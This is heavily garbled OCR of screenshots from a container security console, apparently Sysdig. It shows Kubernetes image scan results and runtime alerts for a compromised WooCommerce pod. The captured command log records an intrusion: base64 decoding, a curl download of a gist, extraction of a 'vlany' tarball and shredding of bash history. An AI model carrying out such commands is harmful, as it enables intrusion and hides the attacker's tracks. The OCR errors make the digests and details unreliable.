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Image Scan Runtime  Alerts Repusitorie Scanning Policies Registry Credentials

Brawse 8y Kubernetes (Deployments) -

There are 5 Failing and 2 Passing images running as containers in
‘example-java-app’ over the last hour.

~ Scanned Images

> red
> fenk o Itagliamonte/counterapp latest Running Containers: 2
ns Image Digest sha255b1e18c7e3bd7 beberBebdal Scbb420c0B6 258804467 d0fS5bcbZe62b26b0a0
> kube-system
> nginx-frantend ° cassandra 20186 Running Gontainers: 1
Image Digest sha?56:4c047930987 ddccaebe?419hcf590d247ed0aboc a7 2c066C 7745107 78202dff
> null
> ping o redis 2819 Runining Containers: 1
N Image Digest sha256:090e115770Bf433364370cf2 58370208430t 7630083 1bb1 2dede6oe3d1 ddo
store-frontend
? traefk o Itagliamonte/demo-mongo-statsd latest Running Containers: 1
- Image Digest sha?56:803777doda7a3797303bbB5e6 332101401 066ch 24803933884 79dC 56080505
> winerabllities
o Iagliamonte/recurling latest Running Containers: 1
Image Digest sha256:003e289c54bbc1a5d9050780750386d746 1b0ecc 258501 24b866362f426080c
@ ™ latest Running Cantainers: 1
Image Digest sha?56:7fc5a3a554519179c1 8fc07ab2f793e9761 chdce79ceaB57120M 774 7d4clee
Q sysdig/ftest latest Running Containers: 2

Image Digest sha256:a30db3301385b04bbbc34a263953d234919007d37 Sca2eeSed 1 681F1 Bdfdded

B (P9) Image Scan
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Policy Events
Browse By Kuberetes (Deployments)

Entire infrastructure

> examplejava-app

> jenkin:

Entire infrastructure

® Weke below rpm detabese (z)

example-java-app e client

K5AK7 » fae84

@ Terminal shell in container

store-frontend * woocommerce * woocommerce 578dc 99

Policy Event Details X

When

3/20/2019 440:01 800 am (7 hours ago)

Related Resources.

Capty ds will cover 10 minut

) exorr

d the time of the event.

VIEW CAPTURES @)

VIEW COMMANDS @

> kube-system: )
Severity

About 6 hox @Hon

Sl 0

> nginx-front

o Process started ps b Triggered Policy
Filter. Add Remove

> ping n 3 entities involved Terminal shell in container

> store-frontend 1 Triggered Rule Type

About n hou
> waefi 3 F)eo
Wite below rpm ddllhlu se 2)

> vulnecabiities o L 4 @ example-java-app client 795798cfb5 fae8a Scope
1 kubermetes namespace.name store-frontend

About 7 hours 2 kubernetes deployment name woocommer
3. kubernetes pod.name: woocommerce-578dcdd65o-pSSW

7 prox started: curl, sl Is, busybo; s
proosases started: o, s . a: busyber. cet, ao 4 container.id: 1ea61b743657

2 entities involved

Sensitive Info Exfiftration Host
. @ ng > ping > ping-68b48b70d7-jwnd > dbefSbbDbe2e % Hostname: ip10:0.31-24

MAC 06:146cb310:de
Container
1D: 1ea61b743657
Name: kBs_woocommerce_woocommerce-578dcdd6Sb-pbS5w. store-
frontend_ce34ed63-2b7e-1169-9814-06a009332€26.0
Image
f62 0c6abf3270a0e062117}

Actions
QD 1 capture recorded

LIVE: 3/19 11:54:40 AM - 3/20 11:54:40 AM (1D) ~ 1M 10M 30M  1H 6H 10 D 2w 1« n »

(fr) Container Runtime

Container & fEHEBR

& Container E{EEEF - Sysdig I UIE Container WESBIRIEENERIE TR - A%
RISEZRNBERR L2RER - MTFEGN)PIR,; LUER2IREBREE TRRIEEE-
LS Container {8 ER - DIREFEER Container IEZE RS OB IEEEMF

" Spy Users
ﬁ By & Executed Commands Q
VIEWS Sysdig Filter  evt.rawtime >= 1552650001612839290 and evt.rawtime < 1552650002804122286 v
Connections TIME USER SHELL Container Command
Containers 11:40:01 85670 13374 kBs_ woocommerce woocom, . bash
Directories 11:40:01 86907... root 3377 kBs woocommerce_woocom... s
8 133 o rce_ve ase64 -d
Errors 11:40:02.20218... roat 3377 kBs_woocommerce v base64 -d
Files 11:40:02.20270... root 13377 kBs_woocommerce woocom... curl hitpsJ/igist githubusercontent.com/mateobur/d@88e36de 218fe42a1 8fS4cedbfcTc/raw/dd0cdcb23dbT cc1 7a2086c5de...
10 by Type 11:40:02.50305... root 3377 kBs_woocommerce_woocem... rm -rf viany-master/
0911 133 DOCOMMErce_ Woe :
Page Fauits 11:40:0250911... root 3377 kBs_woocommerce woocom... tar xviz viany-master.tar gz
40,02.511 133 001 rce WooC r
Port bindings 11:40:02.51118... root 3389 kBs_woocommerce_woocom.. gzip-d
E ) » -
Processes 11:40:02 53394 root 13377 kBs woocommerce woocom... shred -f /root/ bash_history Y M=

Processes CPU
Processes Errors
Server Ports
Slow File VO

Spy Users

duration: 1.19 s
®© Time 21 RESE
[ execuren commancs

* T 9535 10725
l Deleted Files ||
I Modified Files J

(7X) Container Inspact
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